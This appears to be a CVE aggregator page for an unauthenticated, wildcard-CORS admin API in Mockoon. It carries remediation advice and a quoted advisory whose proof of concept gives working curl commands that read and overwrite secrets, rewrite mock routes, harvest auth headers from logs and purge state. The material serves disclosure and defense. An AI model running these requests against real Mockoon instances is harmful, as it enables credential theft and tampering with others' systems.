Mockoon's admin API — enabled by default in every runtime (CLI, commons-server, serverless) — ships with zero authentication and a wildcard CORS policy (Access-Control-Allow-Origin: *) covering PUT/POST/DELETE, letting any network-adjacent attacker or malicious website read and overwrite process environment variables, rewrite live mock responses, and harvest auth headers from transaction logs. With 1,896 downstream dependents and an EPSS score in the top 82% of scored CVEs, the blast radius is real even though there's no CISA KEV listing or public exploit yet, and exploitation requires nothing more than curl. The default 0.0.0.0 bind means this isn't confined to localhost — CI runners, shared staging environments, and the serverless wrapper (which hardcodes the admin API on with no disable flag) are all exposed by default. Upgrade to @mockoon/cli / @mockoon/commons-server 9.7.0 immediately, or in the interim pass `--disable-admin-api` and bind mock servers to loopback only; audit any CI/staging deployment of Mockoon for public network exposure and rotate any secret ever passed via MOCKOON_* env vars on an affected instance.
What is the risk?
Trivial to exploit (unauthenticated curl requests, no special tooling) but scoped mainly to environments where Mockoon's mock server port is network-reachable — local dev, CI runners, or shared staging. CVSS 8.8 in typical local-dev mode, escalating to 9.4-equivalent impact in network-exposed deployments (e.g., Docker/serverless with the hardcoded default). The wildcard CORS additionally turns this into a browser-based CSRF vector against any developer running the CLI locally, removing the 'attacker needs network access' assumption entirely. No active exploitation or scanner template exists yet (EPSS 0.26%, no KEV), but the combination of default-on exposure, zero auth, and a 1,896-dependent install base makes this a high-priority patch rather than a monitor-and-wait item.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade @mockoon/cli and @mockoon/commons-server to 9.7.0 immediately. 2) If upgrade isn't immediately possible, launch with
--disable-admin-api(CLI) or avoidenableAdminApi: truein commons-server/serverless configs. 3) Never bind Mockoon to 0.0.0.0 in shared environments — explicitly sethostnameto127.0.0.1for local dev and CI runners. 4) Treat any secret ever exposed via MOCKOON_* env vars on a pre-9.7.0 instance as compromised and rotate it. 5) Detection: audit network/firewall rules and CI runner configs for exposed Mockoon ports (default 3000); review anymockoon-adminrequest logs for unexpected GET/POST/PUT activity from unfamiliar origins. 6) In Docker/serverless deployments, confirm the shipped image pins ≥9.7.0 before next build.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-59148?
Mockoon's admin API — enabled by default in every runtime (CLI, commons-server, serverless) — ships with zero authentication and a wildcard CORS policy (Access-Control-Allow-Origin: *) covering PUT/POST/DELETE, letting any network-adjacent attacker or malicious website read and overwrite process environment variables, rewrite live mock responses, and harvest auth headers from transaction logs. With 1,896 downstream dependents and an EPSS score in the top 82% of scored CVEs, the blast radius is real even though there's no CISA KEV listing or public exploit yet, and exploitation requires nothing more than curl. The default 0.0.0.0 bind means this isn't confined to localhost — CI runners, shared staging environments, and the serverless wrapper (which hardcodes the admin API on with no disable flag) are all exposed by default. Upgrade to @mockoon/cli / @mockoon/commons-server 9.7.0 immediately, or in the interim pass `--disable-admin-api` and bind mock servers to loopback only; audit any CI/staging deployment of Mockoon for public network exposure and rotate any secret ever passed via MOCKOON_* env vars on an affected instance.
Is CVE-2026-59148 actively exploited?
No confirmed active exploitation of CVE-2026-59148 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-59148?
1) Upgrade @mockoon/cli and @mockoon/commons-server to 9.7.0 immediately. 2) If upgrade isn't immediately possible, launch with `--disable-admin-api` (CLI) or avoid `enableAdminApi: true` in commons-server/serverless configs. 3) Never bind Mockoon to 0.0.0.0 in shared environments — explicitly set `hostname` to `127.0.0.1` for local dev and CI runners. 4) Treat any secret ever exposed via MOCKOON_* env vars on a pre-9.7.0 instance as compromised and rotate it. 5) Detection: audit network/firewall rules and CI runner configs for exposed Mockoon ports (default 3000); review any `mockoon-admin` request logs for unexpected GET/POST/PUT activity from unfamiliar origins. 6) In Docker/serverless deployments, confirm the shipped image pins ≥9.7.0 before next build.
What systems are affected by CVE-2026-59148?
This vulnerability affects the following AI/ML architecture patterns: CI/CD pipelines for AI systems, AI agent integration testing, mock API layers for LLM/agent testing, local development environments.
What is the CVSS score for CVE-2026-59148?
CVE-2026-59148 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.26%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits). Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can: - Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). - **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. - **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs. Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked. --- ## Details ### Root cause `packages/commons-server/src/libs/server/server.ts:127`: ```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ``` `packages/cli/src/commands/start.ts:200`: ```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ``` `packages/serverless/src/libs/serverless.ts:21`: ```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ``` `packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint): ```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ``` `packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE): ```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ``` `packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite): ```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ``` Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`. --- ## PoC ### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`) `npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with: ``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ``` Bind confirmed via `lsof`: ``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ``` Baseline mock response: ``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 1) Read operator secret unauth ``` $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY HTTP/1.1 200 OK access-control-allow-origin: * {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 2) Poison operator secret unauth → downstream consumer ingests attacker value ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"} $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"} ``` #### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"} ``` #### 4) Cross-origin CSRF from `https://attacker.evil` ``` $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"} ``` Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript. #### 5) Rewrite every mock route via unauth `PUT /environment` ``` $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"} $ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true} ``` #### 6) Read transaction logs / SSE stream → harvest consumer's auth headers ``` $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2 ``` Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE. #### 7) Purge state (DoS) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"} ``` --- ## Impact In typical local-dev mode (CVSS 8.8 High): - Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS. In network-exposed deployment (CVSS 9.4 Critical): - All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments. --- ## Suggested fix 1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`. 2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`. 5. Add `SECURITY.md` with disclosure instructions. 6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.
Exploitation Scenario
A pentester or attacker on the same CI runner, shared staging network, or corporate LAN discovers a Mockoon instance bound to 0.0.0.0:3000 used to mock an AI agent's upstream LLM API during integration tests. They send an unauthenticated GET to `/mockoon-admin/env-vars/API_KEY` and retrieve the real secret templated into mock responses, then POST to `/mockoon-admin/env-vars` to poison it with an attacker-controlled value that the CI pipeline or a partner integration silently ingests. Separately, a developer running `mockoon-cli start` locally visits a malicious website; the wildcard CORS policy lets that site's JavaScript silently issue a cross-origin `PUT /mockoon-admin/environment`, rewriting every mocked API response the developer's local AI agent test harness relies on — corrupting test results or exfiltrating request bodies/auth headers via the exposed transaction-log endpoint.
Weaknesses (CWE)
CWE-306 Missing Authentication for Critical Function
Primary
CWE-352 Cross-Site Request Forgery (CSRF)
Primary
CWE-732 Incorrect Permission Assignment for Critical Resource
Primary
CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains
Primary
CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
- github.com/advisories/GHSA-rqx4-3f6q-3x2v
- github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299
- github.com/mockoon/mockoon/pull/2254
- github.com/mockoon/mockoon/releases/tag/v9.7.0
- github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v
- mockoon.com/releases/9.7.0
- nvd.nist.gov/vuln/detail/CVE-2026-59148
Timeline
Related Vulnerabilities
CVE-2023-25574 10.0 JupyterHub LTI13: JWT forgery enables full auth bypass
Same package: jupyter CVE-2026-44180 9.8 Jupyter Enterprise Gateway: root privilege bypass in Kubernetes
Same package: jupyter CVE-2026-23537 9.1 Feast: unauth file write to RCE via /save-document
Same package: jupyter CVE-2026-54527 9.0 jupyterlab-git: stored XSS escalates to full RCE
Same package: jupyter CVE-2026-44727 9.0 jupyter-server: stored XSS yields kernel RCE
Same package: jupyter